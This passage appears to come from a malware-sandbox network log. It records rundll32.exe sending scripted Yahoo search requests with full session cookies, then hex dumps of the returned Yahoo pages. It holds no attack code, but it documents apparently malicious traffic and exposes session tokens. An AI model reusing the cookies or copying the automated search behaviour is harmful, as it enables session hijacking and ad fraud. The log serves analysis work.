64 5a 64 77 77 30 69 4d 41 41 69 41 41 41 41 63 49 Data Ascii: HTTP/1.1 302 FoundConnection: closeSet-Cookie: GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; Expires=Tue, 10 Dec 2024 04:50:39 GMT; Domain=yahoo.com; Path=/; SecureSet-Cookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	50033	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:47 UTC	1246	OUT	GET /search?p=foamex+printed+boards&fr=sfp&fr2=&iscqry=&vc=&guccounter=1&guce_referrer=aHR0cHM6Ly91ay5zZWFyY2gueWFob28uY29tL3NlYXJjaD9wPWZvYW1leCtwcmludGVkK2JvYXJkcyZmcj1zZnAmZnIyPSZpc2Nxcnk9JnZjPQ&guce_referrer_sig=AQAAACnbVtezZBBL6fRZWkHTqstegNeLmC5rDVu_DtS343DMLriUTAg963vs6uVE2K4VUIQ3c5xXhIPaK2p9m1LG5wexewvnogEpKs65In71CZuvrkBi2M9e8nxQBslkVO9EMwb-xm6rv0-0Spq6Z9Gayo2ElKz6vy1v1ewDIxsq3X70 HTTP/1.1 Host: uk.search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA Referer: https://guce.yahoo.com/copyConsent?sessionId=1_cc-session_f5b64e09-080e-46df-a789-a19f7c23b8f9&lang=en-GB Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:50:47 UTC	2308	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 34 37 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:50:47 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:50:47 UTC	5322	IN	Data Raw: 63 31 63 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 Data Ascii: c1c<!doctype html><html id="atomic" class="NoJs" lang="en-GB"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yimg
2023-12-10 16:50:47 UTC	5792	IN	Data Raw: 74 79 70 65 29 3a 28 74 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2c 6e 65 77 20 6e 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 65 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 76 61 72 20 74 2c 6e 3d 7b 7d 3b 66 6f 72 28 74 20 69 6e 20 65 29 75 28 65 2c 74 29 26 26 28 6e 75 6c 6c 21 3d 65 5b 74 5d 26 26 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 5b 74 5d 29 3f 28 6e 5b 74 5d 3d 5b 5d 2c 65 5b 74 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 6e 5b 74 5d 2e 70 75 73 68 28 68 28 65 29 29 3a 6e 5b 74 5d 2e 70 75 73 68 28 65 29 7d 29 29 3a 6e 75 6c 6c 21 3d 65 5b 74 5d 26 26 22 6f 62 6a 65 63 Data Ascii: type):(t=t.prototype,n.prototype=t,new n),e.prototype.constructor=e},clone:function h(e){var t,n={};for(t in e)u(e,t)&&(null!=e[t]&&Array.isArray(e[t])?(n[t]=[],e[t].forEach(function(e){"object"==typeof e?n[t].push(h(e)):n[t].push(e)})):null!=e[t]&&"objec
2023-12-10 16:50:47 UTC	16384	IN	Data Raw: 74 74 72 69 62 75 74 65 28 22 72 65 66 65 72 72 65 72 70 6f 6c 69 63 79 22 29 29 3b 62 72 65 61 6b 7d 72 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 72 65 74 75 72 6e 21 30 7d 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 3d 65 2c 74 68 69 73 2e 69 6e 6a 65 63 74 59 6c 63 3d 64 2c 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 26 26 28 69 3d 6e 65 77 20 52 65 67 45 78 70 28 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 29 29 2c 63 2e 79 6c 63 50 61 72 61 6d 26 26 28 75 2e 61 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e 6d 64 65 68 29 2c 74 3d 21 30 29 7d 2c 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 26 26 28 75 2e 64 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e 6d 64 65 68 29 2c 74 3d 21 31 29 2c 6c 26 Data Ascii: ttribute("referrerpolicy"));break}r=r.parentNode}return!0},init:function(e){c=e,this.injectYlc=d,c.cbclk_regexp&&(i=new RegExp(c.cbclk_regexp)),c.ylcParam&&(u.ae(n,"mousedown",this.mdeh),t=!0)},destroy:function(){t&&(u.de(n,"mousedown",this.mdeh),t=!1),l&
2023-12-10 16:50:47 UTC	10592	IN	Data Raw: 7d 20 7b 34 7d 20 7b 35 7d 20 7b 36 7d 27 7d 7d 66 75 6e 63 74 69 6f 6e 20 6a 65 28 65 29 7b 76 61 72 20 74 2c 69 2c 73 2c 6e 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2c 61 3d 65 2e 6d 2c 6f 3d 65 2e 64 2c 72 3d 28 65 3d 65 2e 66 64 29 26 26 65 2e 73 68 6f 77 5f 73 75 62 74 69 74 6c 65 3f 65 2e 73 68 6f 77 5f 73 75 62 74 69 74 6c 65 3a 30 3b 61 3d 3d 56 26 26 65 26 26 21 72 26 26 28 6f 26 26 22 6d 6f 76 69 65 22 3d 3d 6f 2e 73 75 62 64 6e 3f 28 69 3d 65 2e 79 65 61 72 7c 7c 22 22 2c 61 3d 65 2e 67 65 6e 72 65 26 26 65 2e 67 65 6e 72 65 5b 30 5d 3f 65 2e 67 65 6e 72 65 5b 30 5d 2b 22 20 22 2b 6e 2e 74 65 78 74 2e 6d 6f 76 69 65 3a 6e 2e 74 65 78 74 2e 6d 6f 76 69 65 2c 72 3d 65 2e 72 65 6c 65 61 73 65 44 61 74 65 3f 6e 65 77 20 44 61 74 65 28 65 2e 72 65 6c 65 Data Ascii: } {4} {5} {6}'}}function je(e){var t,i,s,n=this.config,a=e.m,o=e.d,r=(e=e.fd)&&e.show_subtitle?e.show_subtitle:0;a==V&&e&&!r&&(o&&"movie"==o.subdn?(i=e.year\|\|"",a=e.genre&&e.genre[0]?e.genre[0]+" "+n.text.movie:n.text.movie,r=e.releaseDate?new Date(e.rele
2023-12-10 16:50:47 UTC	5569	IN	Data Raw: 28 34 3d 3d 73 2e 72 65 61 64 79 53 74 61 74 65 26 26 32 30 30 3c 3d 65 26 26 65 3c 33 30 30 7c 7c 33 30 34 3d 3d 3d 65 7c 7c 31 32 32 33 3d 3d 3d 65 29 26 26 28 6f 2e 6d 6f 64 65 6c 2e 72 65 6d 6f 76 65 41 74 28 63 29 2c 6e 2e 66 65 74 63 68 41 66 74 65 72 52 65 6d 6f 76 65 29 26 26 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 6d 6f 64 65 6c 2e 66 65 74 63 68 28 29 7d 2c 6e 2e 64 65 6c 61 79 42 65 66 6f 72 65 46 65 74 63 68 29 7d 29 2c 73 2e 73 65 6e 64 28 6e 75 6c 6c 29 2c 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 26 26 28 28 74 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 2c 22 64 69 76 22 29 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 2e 68 74 6d 6c 2c Data Ascii: (4==s.readyState&&200<=e&&e<300\|\|304===e\|\|1223===e)&&(o.model.removeAt(c),n.fetchAfterRemove)&&setTimeout(function(){o.model.fetch()},n.delayBeforeFetch)}),s.send(null),n.placeholder&&((t=this.createElem(n.placeholder,"div")).innerHTML=n.placeholder.html,
2023-12-10 16:50:47 UTC	16384	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 28 29 7d 2c 34 30 30 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 64 2e 62 6c 75 72 28 29 2c 6c 2e 72 65 73 65 74 28 29 2c 79 28 55 29 7d 76 61 72 20 72 2c 6c 2c 63 2c 70 2c 64 2c 68 2c 65 2c 75 2c 66 2c 74 2c 73 2c 6d 2c 67 3d 74 68 69 73 2c 76 3d 53 2e 69 65 56 65 72 2c 79 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 2e 6e 6f 74 69 66 79 28 65 2c 74 29 7d 3b 72 65 74 75 72 6e 20 67 2e 6d 6f 64 65 6c 3d 72 3d 69 2e 6d 6f 64 65 6c 2c 67 2e 76 69 65 77 3d 6c 3d 69 2e 76 69 65 77 2c 67 2e 63 6f 6e 66 69 67 3d 63 3d 69 2e 63 6f 6e 66 69 67 2c 67 2e 63 75 73 74 6f 6d 45 76 65 6e 74 3d 75 3d 63 2e 63 75 73 74 6f 6d 45 76 65 6e 74 7c 7c 7b 7d 2c 67 2e 73 65 74 59 6c 63 3d 6e 2c 67 2e 65 6d 69 74 3d 79 2c 67 2e 73 75 62 6d Data Ascii: function(){o()},400)}function o(){d.blur(),l.reset(),y(U)}var r,l,c,p,d,h,e,u,f,t,s,m,g=this,v=S.ieVer,y=function(e,t){i.notify(e,t)};return g.model=r=i.model,g.view=l=i.view,g.config=c=i.config,g.customEvent=u=c.customEvent\|\|{},g.setYlc=n,g.emit=y,g.subm
2023-12-10 16:50:47 UTC	5336	IN	Data Raw: 3f 31 65 33 3a 31 3b 30 3d 3d 3d 6e 2e 74 6f 70 26 26 65 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 3b 29 6e 3d 28 65 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 3b 74 2e 76 3d 6e 2e 74 6f 70 26 26 6e 2e 74 6f 70 3c 28 63 2e 69 6e 6e 65 72 48 65 69 67 68 74 7c 7c 6f 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 7c 7c 6f 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 29 2c 74 2e 64 3d 6e 2e 74 6f 70 2a 6e 2e Data Ascii: ?1e3:1;0===n.top&&e.parentNode&&"function"==typeof e.parentNode.getBoundingClientRect;)n=(e=e.parentNode).getBoundingClientRect();t.v=n.top&&n.top<(c.innerHeight\|\|o.documentElement.clientHeight\|\|o.getElementsByTagName("body")[0].clientHeight),t.d=n.top*n.
2023-12-10 16:50:47 UTC	5479	IN	Data Raw: 2e 63 61 72 64 52 65 67 20 2e 64 64 2e 63 61 74 4b 47 20 2e 63 6f 6d 70 49 6d 61 67 65 50 72 6f 66 69 6c 65 2e 6e 6f 49 6d 61 67 65 20 70 20 61 2c 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 63 61 72 64 52 65 67 20 2e 64 64 2e 63 61 74 4b 47 20 70 20 61 7b 63 6f 6c 6f 72 3a 23 31 61 30 64 61 62 7d 23 72 65 73 75 6c 74 73 20 2e 4b 67 4d 6f 76 69 65 73 59 4b 43 20 73 70 61 6e 2e 73 75 62 54 78 74 20 73 70 61 6e 2c 23 72 65 73 75 6c 74 73 20 2e 73 74 6f 63 6b 4e 61 6d 65 20 61 20 73 70 61 6e 2c 20 23 72 65 73 75 6c 74 73 20 2e 73 79 73 5f 6b 67 61 74 68 6c 65 74 65 20 2e 63 6f 6d 70 54 69 74 6c 65 20 61 2c 20 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 63 6f 6d 70 54 65 78 74 2e 74 64 2d 75 20 70 20 61 2c 20 23 72 65 73 75 6c 74 73 20 2e 4b 67 Data Ascii: .cardReg .dd.catKG .compImageProfile.noImage p a,#results #right .cardReg .dd.catKG p a{color:#1a0dab}#results .KgMoviesYKC span.subTxt span,#results .stockName a span, #results .sys_kgathlete .compTitle a, #results #right .compText.td-u p a, #results .Kg
2023-12-10 16:50:47 UTC	8569	IN	Data Raw: 69 63 72 6f 70 68 6f 6e 65 20 2e 73 70 72 69 74 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 2d 31 30 35 70 78 3b 77 69 64 74 68 3a 32 38 70 78 3b 68 65 69 67 68 74 3a 32 38 70 78 7d 2e 70 65 72 6d 69 73 73 69 6f 6e 2d 67 75 69 64 65 20 2e 67 75 69 64 65 20 2e 67 75 69 64 65 2d 74 65 78 74 7b 68 65 69 67 68 74 3a 36 38 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 34 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 70 65 72 6d 69 73 73 69 6f 6e 2d 67 75 69 64 65 20 2e 67 75 69 64 65 20 2e 67 75 69 64 65 2d 74 65 78 74 20 2e 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 32 33 32 61 33 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 48 65 6c 76 65 74 69 63 61 4e 65 75 65 2d 42 6f 6c 64 3b 6c 69 6e 65 Data Ascii: icrophone .sprite{background-position:0 -105px;width:28px;height:28px}.permission-guide .guide .guide-text{height:68px;margin-left:24px;float:left}.permission-guide .guide .guide-text .title{color:#232a31;font-size:32px;font-family:HelveticaNeue-Bold;line

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	50035	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:48 UTC	637	OUT	GET /search?p=zoho+erp&fr=sfp&fr2=&iscqry=&vc= HTTP/1.1 Host: be.search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:50:48 UTC	2096	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 34 38 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:50:48 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:50:48 UTC	4616	IN	Data Raw: 31 33 64 64 64 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 Data Ascii: 13ddd<!doctype html><html id="atomic" class="NoJs" lang="en-US"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yi
2023-12-10 16:50:48 UTC	10814	IN	Data Raw: 63 6f 6e 74 61 69 6e 73 28 6e 29 3a 21 21 65 2e 63 6c 61 73 73 4e 61 6d 65 26 26 6e 65 77 20 52 65 67 45 78 70 28 22 28 3f 3a 5e 7c 5c 5c 73 2b 29 22 2b 6d 28 6e 29 2b 22 28 3f 3a 5c 5c 73 2b 7c 24 29 22 29 2e 74 65 73 74 28 65 2e 63 6c 61 73 73 4e 61 6d 65 29 29 7d 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 66 6f 72 45 61 63 68 3f 74 2e 66 6f 72 45 61 63 68 28 65 29 3a 65 28 74 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 67 28 29 7b 76 61 72 20 65 3d 72 2e 70 65 72 66 6f 72 6d 61 6e 63 65 7c 7c 7b 7d 2c 74 3d 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 3b 72 65 74 75 72 6e 21 21 6f 7c 7c 28 65 26 26 65 2e 74 69 6d 69 6e 67 3f 30 3c 65 2e 74 69 6d 69 6e 67 2e 6c 6f 61 64 45 76 65 6e 74 45 6e 64 3a 21 74 7c 7c 30 3c 28 74 3d 74 28 22 6e 61 76 69 67 61 74 Data Ascii: contains(n):!!e.className&&new RegExp("(?:^\|\\s+)"+m(n)+"(?:\\s+\|$)").test(e.className))};return t&&t.forEach?t.forEach(e):e(t),o}function g(){var e=r.performance\|\|{},t=e.getEntriesByType;return!!o\|\|(e&&e.timing?0<e.timing.loadEventEnd:!t\|\|0<(t=t("navigat
2023-12-10 16:50:48 UTC	16384	IN	Data Raw: 6e 22 7d 2c 74 72 61 79 3a 7b 63 73 73 3a 22 73 61 2d 74 72 61 79 22 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 6d 65 28 65 2c 74 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2c 74 3d 74 2e 6d 3b 65 2e 6c 69 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 22 2b 28 69 5b 74 5d 7c 7c 69 5b 22 6d 22 2b 74 5d 7c 7c 69 2e 66 6c 76 72 29 7d 66 75 6e 63 74 69 6f 6e 20 67 65 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 6d 31 33 3a 22 68 69 73 74 6f 72 79 22 2c 66 6c 76 72 3a 22 70 72 6f 67 2d 73 75 67 67 22 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 65 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2c 74 3d 77 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 2e 70 61 72 65 6e 74 29 7c 7c 77 2e 62 6f 64 79 2c 69 3d 77 2e 67 65 74 45 6c 65 6d 65 6e 74 42 Data Ascii: n"},tray:{css:"sa-tray"}}}function me(e,t){var i=this.config,t=t.m;e.li.className+=" "+(i[t]\|\|i["m"+t]\|\|i.flvr)}function ge(){this.config={m13:"history",flvr:"prog-sugg"}}function ve(){var e=this.config,t=w.getElementById(e.parent)\|\|w.body,i=w.getElementB
2023-12-10 16:50:49 UTC	5570	IN	Data Raw: 2c 74 29 7d 2c 35 30 30 29 2c 69 26 26 73 2e 61 70 70 6c 79 28 65 2c 74 29 7d 6f 7c 7c 28 69 2e 70 72 65 76 48 6f 76 65 72 49 6e 64 65 78 3d 74 2e 69 64 78 2c 69 2e 68 6f 76 65 72 44 65 62 6f 75 6e 63 65 3d 28 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 69 2e 70 72 65 76 48 6f 76 65 72 49 6e 64 65 78 3d 3d 3d 74 2e 69 64 78 26 26 28 65 3d 6c 2e 6d 3d 3d 3d 56 7c 7c 6c 2e 6d 3d 3d 3d 57 7c 7c 6c 2e 6d 3d 3d 3d 47 26 26 6c 2e 66 64 26 26 5b 22 32 37 22 2c 22 33 30 22 5d 2e 69 6e 63 6c 75 64 65 73 28 6c 2e 66 64 2e 64 69 73 70 4d 72 6b 29 2c 6c 26 26 65 26 26 28 63 2e 6f 5f 69 6d 67 55 72 6c 7c 7c 63 2e 69 6d 61 67 65 55 72 6c 29 3f 28 69 2e 70 72 65 76 41 63 74 69 76 65 49 6e 64 65 78 21 3d 3d 74 2e 69 64 78 26 26 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: ,t)},500),i&&s.apply(e,t)}o\|\|(i.prevHoverIndex=t.idx,i.hoverDebounce=(s=function(){var e;i.prevHoverIndex===t.idx&&(e=l.m===V\|\|l.m===W\|\|l.m===G&&l.fd&&["27","30"].includes(l.fd.dispMrk),l&&e&&(c.o_imgUrl\|\|c.imageUrl)?(i.prevActiveIndex!==t.idx&&function(e
2023-12-10 16:50:49 UTC	1214	IN	Data Raw: 79 43 6f 64 65 3c 3d 34 30 7c 7c 65 2e 63 74 72 6c 4b 65 79 7c 7c 65 2e 6d 65 74 61 4b 65 79 7c 7c 28 69 2e 63 6f 6e 66 69 67 2e 65 6d 70 74 79 46 69 72 73 74 3f 74 2e 76 61 6c 75 65 3d 22 22 3a 28 74 2e 76 61 6c 75 65 3d 53 2e 74 72 69 6d 28 74 2e 76 61 6c 75 65 29 2c 22 22 21 3d 3d 74 2e 76 61 6c 75 65 26 26 28 74 2e 76 61 6c 75 65 2b 3d 22 20 22 29 29 2c 53 2e 73 65 74 46 6f 63 75 73 28 74 29 29 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 50 74 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 46 74 28 65 2c 74 2c 69 29 7b 76 61 72 20 73 2c 6e 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2c 61 3d 6e 2e 6c 6f 67 2c 6f 3d 74 68 69 73 2e 61 70 70 2c 72 3d 6f 2e 76 69 65 77 2e 65 6c 65 6d 73 2e 73 62 49 6e 70 75 74 2c 6c 3d 69 2e 6c 69 2c 63 3d 69 2e 69 64 78 3b 74 3d 3d 3d 69 2e Data Ascii: yCode<=40\|\|e.ctrlKey\|\|e.metaKey\|\|(i.config.emptyFirst?t.value="":(t.value=S.trim(t.value),""!==t.value&&(t.value+=" ")),S.setFocus(t)))})}function Pt(){}function Ft(e,t,i){var s,n=this.config,a=n.log,o=this.app,r=o.view.elems.sbInput,l=i.li,c=i.idx;t===i.
2023-12-10 16:50:49 UTC	16384	IN	Data Raw: 2e 6b 65 79 43 6f 64 65 7c 7c 28 53 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 65 29 2c 61 2e 76 61 6c 75 65 3d 22 22 2c 53 2e 73 65 74 46 6f 63 75 73 28 61 29 2c 73 2e 73 68 6f 77 28 29 2c 69 2e 63 6f 6e 74 72 6f 6c 2e 62 65 61 63 6f 6e 28 22 74 61 70 43 6c 72 22 2c 6f 2c 74 2e 63 6f 6e 66 69 67 2e 6c 6f 67 29 29 7d 76 61 72 20 74 3d 74 68 69 73 2c 69 3d 74 2e 61 70 70 2c 73 3d 69 2e 76 69 65 77 2c 6e 3d 73 2e 65 6c 65 6d 73 2c 61 3d 6e 2e 73 62 49 6e 70 75 74 2c 6f 3d 6e 2e 73 62 43 6c 65 61 72 3b 6f 26 26 28 53 2e 61 65 28 6f 2c 22 63 6c 69 63 6b 22 2c 65 29 2c 53 2e 61 65 28 6f 2c 22 6b 65 79 64 6f 77 6e 22 2c 65 29 29 7d 66 75 6e 63 74 